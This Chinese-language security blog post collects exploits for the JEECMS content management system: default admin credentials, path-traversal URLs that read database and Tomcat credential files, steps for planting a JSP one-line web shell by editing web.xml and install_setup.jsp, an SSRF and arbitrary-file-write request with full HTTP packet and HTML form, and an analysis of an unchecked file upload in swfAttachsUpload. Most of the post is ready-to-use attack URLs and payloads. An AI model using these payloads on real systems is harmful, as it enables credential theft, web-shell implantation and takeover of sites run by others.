[TOC]

0x00 前言

描述:JEECMS是基于java技术开发继承其强大、稳定、安全、高效、跨平台等多方面的优点;
采用SpringMVC3+Spring3+Hibernate3+Freemarker主流技术架构安全性做得非常变态,当网站安装完成后就不再允许执行任何目录下的jsp文件了web.xml配置了过滤器禁止了很多种动态脚本

cms版本特征:

#2.x后台
login/Jeecms.do

#3.x后台
jeeadmin/jeecms/index.do

漏洞一览:

  • 缺省账号/密码
  • 2.x版本文件读取:Com_edit.do
  • 3.x版本文件读取:v_edit.do


1.缺省账号密码
  • 默认账户:admin
  • 默认密码:password

2.x 版本缺陷

#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=\../../../classes/jdbc.properties

#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=\../../../web.xml

#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=\../../../../install\install_setup.jsp

3.x 版本缺陷

常规

#获取tomcat密码:
/jeeadmin/jeecms/template/v_edit.do?root=../../conf/&name=../../conf/tomcat-users.xml

#获取JDBC数据库账号密码:
/jeeadmin/jeecms/template/v_edit.do?root=%2FWEB-INF%2Fconfig%2F&name=%2FWEB-INF%2Fconfig%2Fjdbc.properties

#修改web.xml取消对jsp的过滤:
/jeeadmin/jeecms/template/v_edit.do?root=%2FWEB-INF%2F&name=%2FWEB-INF%2Fweb.xml

#修改install/install_setup.jsp:
/jeeadmin/jeecms/template/v_edit.do?root=%2Finstall%2F&name=%2Finstall%2Finstall_setup.jsp
#插入Jsp一句话:
<%
if(request.getParameter("f")!=null)( new java.io.FileOutputStream(application.getRealPath("("f")) ).write(request.getParameter("t").getBytes());
%>
#修改后的一句话目录
/install/install_setup.jsp
#一句话连接成功后的jsp大马目录:
/ma.jsp


7.x 版本缺陷

任意文件上传
漏洞危害:远程攻击者可借助upfile参数利用服务器端请求伪造漏洞漏洞获取敏感信息,攻击内部网络主机或写入恶意文件。
影响版本: jeecms V6/v7版本
脆弱接口: /ueditor/getRemoteImage.jspx

描述:源码中寻找getRemoteImage.jspx文件,服务器上未发现该文件了。尝试用内容匹配的方式去寻找存在问题的class组件。
使用everything的content文件内容匹配功能查找相关接口EeditorAct.class,并且对其进行反编译分析接口如下图所示:
WeiyiGeek.
代码:
WeiyiGeek.
远程文件的url直接由客户端的upfile参数传入,之后以ue_separate_ue为分隔符来进行分割,之后直接调用saveRemoteImage函数,下面跟进saveRemoteImage函数:
WeiyiGeek.
该函数直接调用HttpClient类建立连接,读取字节流,然后通过UploadUtils.generateFilename来获取保存路径,此处只用Apache的FileNameUtils.getFileSufix方法来获取扩展名,没有进行任何验证。最后通过IOUtils.copy完成文件的创建。

原因:该接口的主要功能是读取远程服务器上的资源并且未对资源的类型或者后缀进行判断并直接将其写入到/u/cms/www/目录下。
此处同样存在SSRF漏洞,也就是说通过该接口可以探测内网、访问公网,又由于此处存在了任意文件写入才导致了黑页的写入。
数据包转换地址:http://ld8.me/multipart.php

漏洞演示:转换之后服务器端发送的数据包如下:

POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 192.168.231.133:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A8872FC0A3E148E7A262F1A3D31B8FF9; _site_id_cookie=1; clientlanguage=zh_CN


----------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Content-Disposition: form-data; name="upfile"

http://192.168.231.134/test.html
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC--

由于代码端上传的时候直接是用参数upfile,为了方便构造数据包也可以直接构造一个表单来完成此次的操作。表单构造内容如下图所示:

<form action="http://192.168.231.133:8080/ueditor/getRemoteImage.jspx" method="post" enctype="multipart/form-data">
<input name="upfile" value="ue_separate_ue">
<input type="submit">
</form>

WeiyiGeek.

之后进行表单提交和BurpSuite重放数据库包即可;


任意文件上传
漏洞说明:该系统提供swfAttach文件上传功能,其中对用户提交的上传文件没有进行充分的检查,导致任意注册用户在前台即可上传任意格式的文件。
利用场景:前台注册用户。默认注册地址:http://www.xxx.com/register.jspx

@RequestMapping(value = "/member/o_swfAttachsUpload.jspx", method = RequestMethod.POST)
public void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception{
super.swfAttachsUpload(root, uploadNum, file, request, response, model);
}

跟进swfAttachsUpload:

protected void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception {
JSONObject data=new JSONObject();
WebCoreErrors errors = validateUpload( file, request);
if (errors.hasErrors()) {
data.put("error", errors.getErrors().get(0));
ResponseUtils.renderJson(response, data.toString());
}else{
CmsSite site = CmsUtils.getSite(request);
String ctx = request.getContextPath();
String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
String fileUrl="";
try {
if (site.getConfig().getUploadToDb()) {
String dbFilePath = site.getConfig().getDbFileUri();
fileUrl = dbFileMng.storeByExt(site.getUploadPath(), ext, file
.getInputStream());
fileUrl = request.getContextPath() + dbFilePath + fileUrl;
} else if (site.getUploadFtp() != null) {
Ftp ftp = site.getUploadFtp();
String ftpUrl = ftp.getUrl();
fileUrl = ftp.storeByExt(site.getUploadPath(), ext, file
.getInputStream());

fileUrl = ftpUrl + fileUrl;
} else {
fileUrl = fileRepository.storeByExt(site.getUploadPath(), ext,
file); //没有进行合法文件后缀检查。

fileUrl = ctx + fileUrl;
}
cmsUserMng.updateUploadSize(CmsUtils.getUserId(request), Integer.parseInt(String.valueOf(file.getSize()/1024)));
fileMng.saveFileByPath(fileUrl, origName, false); //没有进行合法文件后缀检查
model.addAttribute("attachmentPath", fileUrl);
} catch (IllegalStateException e) {
model.addAttribute("error", e.getMessage());
} catch (IOException e) {
model.addAttribute("error", e.getMessage());
}
data.put("attachUrl", fileUrl);
data.put("attachName", origName);
ResponseUtils.renderJson(response, data.toString());
}
}

通过构造以下表单,就可以进行测试:
WeiyiGeek.


注意事项

  • 2.X 在后台可以上传媒体格式为jsp的文件
  • web.xml 修改后需要重启服务器(自动加载更新的除外)

参考附录